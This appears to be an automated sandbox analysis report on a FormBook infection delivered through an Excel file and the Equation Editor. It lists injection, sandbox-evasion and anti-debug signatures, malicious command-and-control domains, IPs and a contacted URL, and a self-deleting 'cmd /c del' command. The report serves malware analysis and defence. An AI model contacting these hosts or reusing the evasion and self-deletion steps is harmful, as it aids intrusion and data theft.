Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_00095CB8 push esi; ret	7_2_00095CB9

Source: initial sample	Static PE information: section name: .text entropy: 7.15998976324
Source: initial sample	Static PE information: section name: .text entropy: 7.15998976324

Persistence and Installation Behavior:

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\hm2[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: Agreement.xlsx

Stream path 'EncryptedPackage' entropy: 7.99988616788 (max. 8.0)

Malware Analysis System Evasion:

Yara detected AntiVM_3

Show sources

Source: Yara match	File source: 00000004.00000002.2157316080.000000000239D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2932, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: vbc.exe, 00000004.00000002.2157316080.000000000239D000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: vbc.exe, 00000004.00000002.2157316080.000000000239D000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\Public\vbc.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\Public\vbc.exe	RDTSC instruction interceptor: First address: 000000000040896E second address: 0000000000408974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wlanext.exe	RDTSC instruction interceptor: First address: 00000000000885E4 second address: 00000000000885EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wlanext.exe	RDTSC instruction interceptor: First address: 000000000008896E second address: 0000000000088974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\Public\vbc.exe

Code function: 5_2_004088A0 rdtsc

5_2_004088A0

Source: C:\Users\Public\vbc.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2824	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2956	Thread sleep time: -52602s >= -30000s	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 3056	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe TID: 592	Thread sleep time: -34000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wlanext.exe	Last function: Thread delayed

Source: explorer.exe, 00000006.00000002.2372546599.00000000001F5000.00000004.00000020.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.2167012385.0000000004234000.00000004.00000001.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: vbc.exe, 00000004.00000002.2157316080.000000000239D000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000006.00000000.2167029791.0000000004263000.00000004.00000001.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}ies
Source: vbc.exe, 00000004.00000002.2157316080.000000000239D000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000006.00000000.2166960566.00000000041AD000.00000004.00000001.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: vbc.exe, 00000004.00000002.2157316080.000000000239D000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: explorer.exe, 00000006.00000002.2372574038.0000000000231000.00000004.00000020.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0&E}
Source: vbc.exe, 00000004.00000002.2157316080.000000000239D000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\Public\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Source: C:\Users\Public\vbc.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 5_2_004088A0 rdtsc

5_2_004088A0

Source: C:\Users\Public\vbc.exe

Code function: 5_2_00409B10 LdrLoadDll,

5_2_00409B10

Source: C:\Users\Public\vbc.exe	Code function: 5_2_009426F8 mov eax, dword ptr fs:[00000030h]		5_2_009426F8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FC26F8 mov eax, dword ptr fs:[00000030h]		7_2_01FC26F8

Source: C:\Users\Public\vbc.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\Public\vbc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 66.152.187.17 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 31.220.110.116 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 198.185.159.144 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\Public\vbc.exe

Memory written: C:\Users\Public\vbc.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\Public\vbc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wlanext.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wlanext.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\Public\vbc.exe	Thread register set: target process: 1388	Jump to behavior
Source: C:\Users\Public\vbc.exe	Thread register set: target process: 1388	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Thread register set: target process: 1388	Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\Public\vbc.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\Public\vbc.exe

Section unmapped: C:\Windows\SysWOW64\wlanext.exe base address: 3E0000

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe'	Jump to behavior

Source: explorer.exe, 00000006.00000002.2372693453.00000000006F0000.00000002.00000001.sdmp, wlanext.exe, 00000007.00000002.2372639352.00000000008B0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000006.00000002.2372693453.00000000006F0000.00000002.00000001.sdmp, wlanext.exe, 00000007.00000002.2372639352.00000000008B0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000002.2372546599.00000000001F5000.00000004.00000020.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000006.00000002.2372693453.00000000006F0000.00000002.00000001.sdmp, wlanext.exe, 00000007.00000002.2372639352.00000000008B0000.00000002.00000001.sdmp	Binary or memory string: !Progman

Language, Device and Operating System Detection:

Source: C:\Users\Public\vbc.exe

Queries volume information: C:\Users\Public\vbc.exe VolumeInformation

Jump to behavior

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection612	Masquerading111	OS Credential Dumping	Security Software Discovery221	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution13	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion3	LSASS Memory	Virtualization/Sandbox Evasion3	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer14	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools11	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection612	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol23	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information31	Cached Domain Credentials	System Information Discovery113	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing22	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\hm2[1].exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
4.2.vbc.exe.c70000.3.unpack	100%	Avira	HEUR/AGEN.1109526		Download File
5.2.vbc.exe.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

Source	Detection	Scanner	Link
kolamart.com	5%	Virustotal	Browse
ismaelworks.com	6%	Virustotal	Browse
www.mgg360.com	0%	Virustotal	Browse
activagebenefits.net	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://cgi.search.biglobe.ne.jp/favicon.ico	0%	Avira URL Cloud	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://buscar.ozu.es/	0%	Avira URL Cloud	safe
http://thesnake.herokuapp.com/snakes	0%	Avira URL Cloud	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://www.usmedicarenow.com/bw82/?OxlhlP1x=cQgJWKf5RX1pgHqtrNlNvU1Wcwt7yBWYkREyiU0JrpPbxB8OGrmWpa/gYGeP1DcG9D81oQ==&-Zz=NpM4AdWXGTqt_ry0	0%	Avira URL Cloud	safe
http://www.ozu.es/favicon.ico	0%	Avira URL Cloud	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://search.yahoo.co.jp	0%	URL Reputation	safe
http://search.yahoo.co.jp	0%	URL Reputation	safe
http://search.yahoo.co.jp	0%	URL Reputation	safe
http://buscador.terra.es/	0%	URL Reputation	safe
http://buscador.terra.es/	0%	URL Reputation	safe
http://buscador.terra.es/	0%	URL Reputation	safe
http://search.orange.co.uk/favicon.ico	0%	URL Reputation	safe
http://search.orange.co.uk/favicon.ico	0%	URL Reputation	safe
http://search.orange.co.uk/favicon.ico	0%	URL Reputation	safe
http://www.iask.com/	0%	URL Reputation	safe
http://www.iask.com/	0%	URL Reputation	safe
http://www.iask.com/	0%	URL Reputation	safe
http://cgi.search.biglobe.ne.jp/	0%	Avira URL Cloud	safe
http://search.ipop.co.kr/favicon.ico	0%	URL Reputation	safe
http://search.ipop.co.kr/favicon.ico	0%	URL Reputation	safe
http://search.ipop.co.kr/favicon.ico	0%	URL Reputation	safe
http://p.zhongsou.com/favicon.ico	0%	Avira URL Cloud	safe
http://service2.bfast.com/	0%	URL Reputation	safe
http://service2.bfast.com/	0%	URL Reputation	safe
http://service2.bfast.com/	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kolamart.com	34.102.136.180	true	true	5%, Virustotal, Browse	unknown
ismaelworks.com	31.220.110.116	true	true	6%, Virustotal, Browse	unknown
www.mgg360.com	66.152.187.17	true	true	0%, Virustotal, Browse	unknown
activagebenefits.net	34.102.136.180	true	true	2%, Virustotal, Browse	unknown
ext-sq.squarespace.com	198.185.159.144	true	false		high
rizrvd.com	34.102.136.180	true	true		unknown
www.ismaelworks.com	unknown	unknown	true		unknown
www.activagebenefits.net	unknown	unknown	true		unknown
www.kolamart.com	unknown	unknown	true		unknown
www.usmedicarenow.com	unknown	unknown	true		unknown
www.tuvandadayvitos24h.online	unknown	unknown	true		unknown
www.rizrvd.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.usmedicarenow.com/bw82/?OxlhlP1x=cQgJWKf5RX1pgHqtrNlNvU1Wcwt7yBWYkREyiU0JrpPbxB8OGrmWpa/gYGeP1DcG9D81oQ==&-Zz=NpM4AdWXGTqt_ry0	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://search.chol.com/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.mercadolivre.com.br/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.merlin.com.pl/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.ebay.de/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.mtv.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.rambler.ru/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.nifty.com/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.dailymail.co.uk/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www3.fnac.com/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://buscar.ya.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.yahoo.com/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.iis.fhg.de/audioPA	explorer.exe, 00000006.00000000.2167227314.0000000004B50000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sogou.com/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://asp.usatoday.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://fr.search.yahoo.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://rover.ebay.com	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://in.search.yahoo.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://img.shopzilla.com/shopzilla/shopzilla.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.ebay.in/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://image.excite.co.jp/jp/favicon/lep.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://%s.com	explorer.exe, 00000006.00000000.2178834889.000000000A330000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://msk.afisha.ru/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000004.00000002.2157265721.000000000235A000.00000004.00000001.sdmp	false		high
http://busca.igbusca.com.br//app/static/images/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.rediff.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
